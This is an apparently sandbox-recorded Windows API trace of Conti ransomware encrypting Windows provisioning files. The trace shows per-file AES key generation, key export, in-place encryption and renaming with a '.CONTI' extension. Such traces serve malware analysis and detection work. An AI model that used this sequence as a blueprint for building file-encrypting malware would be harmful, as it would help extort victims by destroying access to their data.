	[0111.307] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x315, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x320) returned 1
	[0111.307] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.307] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x320, lpOverlapped=0x0) returned 1
	[0111.307] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.307] WriteFile (in: hFile=0x3cc, lpBuffer=0x656fa90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x656fa90*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0111.307] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.307] CloseHandle (hObject=0x3cc) returned 1
	[0111.367] GetProcessHeap () returned 0x1720000
	[0111.367] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.090] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0112.090] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.090] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.091] GetProcessHeap () returned 0x1720000
	[0112.092] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.092] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0112.092] GetProcessHeap () returned 0x1720000
	[0112.092] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca668 | out: hHeap=0x1720000) returned 1
	[0112.092] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0112.092] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x18109e8 | out: phKey=0x18109e8*=0x6b7f038) returned 1
	[0112.092] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18109ec, pdwDataLen=0x4e7fc24 | out: pbData=0x18109ec*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0112.092] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.093] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0112.093] GetLastError () returned 0x0
	[0112.093] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=715) returned 1
	[0112.093] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0112.093] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.093] SetEndOfFile (hFile=0x378) returned 1
	[0112.093] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.093] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.093] WriteFile (in: hFile=0x378, lpBuffer=0x18109ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x18109ec*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.096] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.096] ReadFile (in: hFile=0x378, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2cb, lpOverlapped=0x0) returned 1
	[0112.096] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2cb, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d0) returned 1
	[0112.096] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.096] WriteFile (in: hFile=0x378, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.096] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.096] WriteFile (in: hFile=0x378, lpBuffer=0x18109e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x18109e0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0112.096] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.097] CloseHandle (hObject=0x378) returned 1
	[0112.097] GetProcessHeap () returned 0x1720000
	[0112.097] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.097] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml"
	[0112.097] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.097] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.098] GetProcessHeap () returned 0x1720000
	[0112.098] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.098] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0112.098] GetProcessHeap () returned 0x1720000
	[0112.098] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c698 | out: hHeap=0x1720000) returned 1
	[0112.098] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0112.098] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x180ee88 | out: phKey=0x180ee88*=0x6b7f2b8) returned 1
	[0112.098] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180ee8c, pdwDataLen=0x4e7fc24 | out: pbData=0x180ee8c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0112.099] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.099] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0112.099] GetLastError () returned 0x0
	[0112.099] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=719) returned 1
	[0112.099] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0112.099] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.099] SetEndOfFile (hFile=0x378) returned 1
	[0112.099] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.099] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.099] WriteFile (in: hFile=0x378, lpBuffer=0x180ee8c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x180ee8c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.106] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.106] ReadFile (in: hFile=0x378, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2cf, lpOverlapped=0x0) returned 1
	[0112.106] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2cf, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d0) returned 1
	[0112.106] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.106] WriteFile (in: hFile=0x378, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.106] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.106] WriteFile (in: hFile=0x378, lpBuffer=0x180ee80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x180ee80*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0112.106] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.106] CloseHandle (hObject=0x378) returned 1
	[0112.106] GetProcessHeap () returned 0x1720000
	[0112.106] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.106] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml"
	[0112.106] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.106] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.107] GetProcessHeap () returned 0x1720000
	[0112.107] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.107] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0112.107] GetProcessHeap () returned 0x1720000
	[0112.107] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c3e8 | out: hHeap=0x1720000) returned 1
	[0112.107] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0112.107] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x180fc38 | out: phKey=0x180fc38*=0x6b7f1f8) returned 1
	[0112.107] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180fc3c, pdwDataLen=0x4e7fc24 | out: pbData=0x180fc3c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0112.108] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0112.108] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0112.108] GetLastError () returned 0x0
	[0112.108] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=484) returned 1
	[0112.108] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4
	[0112.108] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.109] SetEndOfFile (hFile=0x378) returned 1
	[0112.109] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.109] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.109] WriteFile (in: hFile=0x378, lpBuffer=0x180fc3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x180fc3c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.116] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.116] ReadFile (in: hFile=0x378, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1e4, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1e4, lpOverlapped=0x0) returned 1
	[0112.116] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1e4, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1f0) returned 1
	[0112.116] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.116] WriteFile (in: hFile=0x378, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1f0, lpOverlapped=0x0) returned 1
	[0112.116] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.116] WriteFile (in: hFile=0x378, lpBuffer=0x180fc30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x180fc30*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0112.116] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.116] CloseHandle (hObject=0x378) returned 1
	[0112.117] GetProcessHeap () returned 0x1720000
	[0112.117] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.117] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0112.117] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0112.117] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0112.117] GetProcessHeap () returned 0x1720000
	[0112.117] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.117] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0112.118] GetProcessHeap () returned 0x1720000
	[0112.118] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809758 | out: hHeap=0x1720000) returned 1
	[0112.118] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0112.118] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x180f0d0 | out: phKey=0x180f0d0*=0x6b7f338) returned 1
